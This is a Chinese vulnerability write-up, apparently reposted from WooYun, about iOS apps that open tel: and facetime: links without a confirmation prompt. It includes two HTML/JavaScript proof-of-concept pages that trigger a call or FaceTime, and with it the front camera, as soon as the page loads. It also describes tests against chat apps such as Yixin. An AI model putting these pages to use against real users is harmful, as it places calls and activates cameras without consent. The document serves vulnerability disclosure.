<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/papers/2886

                    0x00 背景


                    國外一安全研究者發現該缺陷,在iOS設備上的某些應用里(其測試的Google+、Facebook Messenger、Gmail都成功觸發),當用戶點擊了構造好的鏈接時,會自動撥打電話,或開啟facetime,從而打開前置攝像頭,且無任何提醒。缺陷產生的原因是開發者沒有看清官方開發文檔對于Phone Links和FaceTime Links中這樣的一條說明,“當用戶在本地應用里打開該類型的鏈接時,iOS并不展示提醒窗口",從而導致缺陷的產生。

                    0x01 缺陷描述


                    查看蘋果官方文檔,對于URL方案的規定大致有如下幾種類型:

                    1)Mail Links(發送郵件)

                    點擊該類型的鏈接后,會自動調用郵件應用,且mailto URL必須指定一個收件地址。

                    網頁鏈接中的字符串格式如下

                    <a href="mailto:[email protected]">John Frank</a>
                    

                    本地應用上的URL字符串格式為

                    mailto:[email protected]
                    

                    當然也可以在字符串中添加主題等內容,比如

                    mailto:[email protected][email protected]&subject=Greetings%20from%20Cupertino!&body=Wish%20you%20were%20here!
                    

                    具體的mailto格式可以查看RFC文檔

                    http://www.ietf.org/rfc/rfc2368.txt

                    2)Phone Links(撥打電話)

                    tel類型的URL是用來開啟iOS設備上撥打電話的應用,并且撥打指定的號碼。當用戶在網頁中點擊了一個該類型的鏈接時,iOS設備會彈出提醒窗口,詢問用戶是否撥打該號碼,若用戶同意則開始撥打電話。但是當用戶在本地應用里打開該類型的鏈接時,iOS并不展示提醒窗口,而是直接撥打指定的電話。當然本地應用可以配置是否顯示提醒。

                    比如在網頁中嵌入一個a標簽,內容為

                    <a href="tel:10086">fuck it</a>
                    

                    那么訪問該頁面,點擊fuck it鏈接后自動彈出撥打電話的提醒。如圖1

                    2014082711012276720.png

                    官方文檔同時給出了本地應用里的url形式,本地應用中URL字符串為tel:1-408-555-5555

                    在短信頁面輸入tel://10086點擊后會提示撥打電話,如圖2

                    2014082711020263770.png

                    同時防止惡意的請求,鏈接里包含* #字符時,系統并不會撥打該號碼。而且iOS上的電話號碼的識別檢測是默認開啟的,如果想讓網頁上包含的數字不被識別為手機號碼,則需要在網頁中加入如下的標簽

                    <meta name = "format-detection" content = "telephone=no">
                    

                    具體的URL方案可以查看如下RFC文檔,

                    http://www.ietf.org/rfc/rfc2396.txt http://www.ietf.org/rfc/rfc2806.txt

                    3)FaceTime Links(開啟facetime,開啟前置攝像頭)

                    FaceTime類型的URL是用來調用FaceTime應用撥打指定的用戶,可以是電話號碼或者是綁定的郵箱地址。當用戶在網頁里點開FaceTime類型的URL時,系統會提示是否撥打;但是當在本地應用里點擊該類型的URL時,iOS直接開啟FaceTime應用撥打電話,而無提醒。本地應用可以配置是否顯示提醒。 網頁中的鏈接格式為

                    <a href="facetime:14085551234">Connect using FaceTime</a>
                    <a href="facetime:[email protected]">Connect using FaceTime</a>
                    

                    本地應用中URL字符串為

                    facetime:// 14085551234
                    facetime:[email protected]
                    

                    當然防止惡意請求,鏈接里包含* #字符時,系統并不會撥打該號碼。而且iOS7之前的系統,用該協議撥打電話時候,是用的默認普通的撥打電話的應用而不是FaceTime應用

                    4)SMS Links(發送短信)

                    SMS方案是用來打開短信應用,其URL格式如下sms: 其中指定目標用戶的號碼,可以包含0到9的數組和+-.三個字符,并且URL字符串不能包含任何其他的文本信息

                    網頁中的鏈接格式為

                    <a href="sms:">Launch Messages App</a>
                    <a href="sms:1-408-555-1212">New SMS Message</a>
                    

                    本地應用中URL字符串為

                    sms:1-408-555-1212
                    

                    5)其他類型的Links

                    其他像Map Links(打開地圖)、iTunes Links(打開iTunes)、YouTube Links(打開YouTube)等不一一介紹,是點擊指定的鏈接后打開相應的地圖、iTunes應用等,詳細查看蘋果官方開發文檔。

                    由上述的介紹可以看出,其中可以利用的有Phone Links和FaceTime Links。因為其中都有一條這樣的描述,如果鏈接是在本地應用里,則點擊的話會直接調用相關系統應用,而沒有任何提醒。

                    即如果在應用里直接輸入tel://xxxx、facetime://xxxx類似的字符,會直接調用相關撥號應用。同樣我們可以在應用里輸入網頁鏈接,然后在網頁內容里嵌入這樣的a標簽鏈接,然后利用js實現加載網頁時自動點擊該a標簽鏈接。

                    所以具體的測試代碼如下,將其保存為html文件即可。

                    <a id="target" href="facetime:[email protected]">click me</a> 
                    <script> 
                    var target = document.getElementById("target"); 
                    var fakeEvent = document.createEvent("MouseEvents"); 
                    fakeEvent.initEvent("click", true, false); 
                    target.dispatchEvent(fakeEvent); 
                    </script>
                    

                    或者如下

                    <html>
                    <head>
                        <title>v</title>
                    </head>
                    <body>
                        <a id="dial" href="tel:10086">fuck it</a>
                    </body>
                    <script type="text/javascript">
                    <!--
                    window.onload = function()
                    {
                        window.location.href = document.getElementById("dial").href;
                    };
                    //-->
                    </script>
                    </html>
                    

                    tel:xxxxx表示要撥打的電話,點擊該鏈接后則自動撥打電話;

                    facetiem:xxxxx表示撥打的facetime帳號,點擊該鏈接后自動開啟攝像頭,無任何提醒;

                    注:其中第二個代碼在某些應用里測試沒有執行成功,第一個代碼在應用里基本能執行成功。

                    0x02 案例測試


                    測試了國內的幾個常用的聊天類應用,基本都存在該缺陷,已經報告給廠商,修復可能需要一段時間。這里以在烏云上提交的易信為案例(官方將發布新版本)。 測試版本為iOS版本6.1.4、易信V2.9.0.1680

                    在朋友圈發布該url,如圖3

                    2014082711044861565.png

                    好友點擊后自動撥打電話或開啟FaceTime,如圖2、圖3

                    2014082711050945066.png

                    2014082711052082517.png

                    0x03 如何修復


                    在蘋果官方開發文檔給出的說明上,在本地應用打開相應的URL是可以配置提醒設置的。所以可能是開發者對蘋果URL的規范未全面了解,疏忽導致了該問題。由于未接觸過iOS開發,所以具體的修復不清楚。:)

                    References:

                    http://algorithm.dk/posts/rtfm-0day-in-ios-apps-g-gmail-fb-messenger-etc https://developer.apple.com/library/ios/featuredarticles/iPhoneURLScheme_Reference/PhoneLinks/PhoneLinks.html#//apple_ref/doc/uid/TP40007899-CH6-SW1 https://developer.apple.com/library/ios/featuredarticles/iPhoneURLScheme_Reference/PhoneLinks/PhoneLinks.html#//apple_ref/doc/uid/TP40007899-CH6-SW1

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频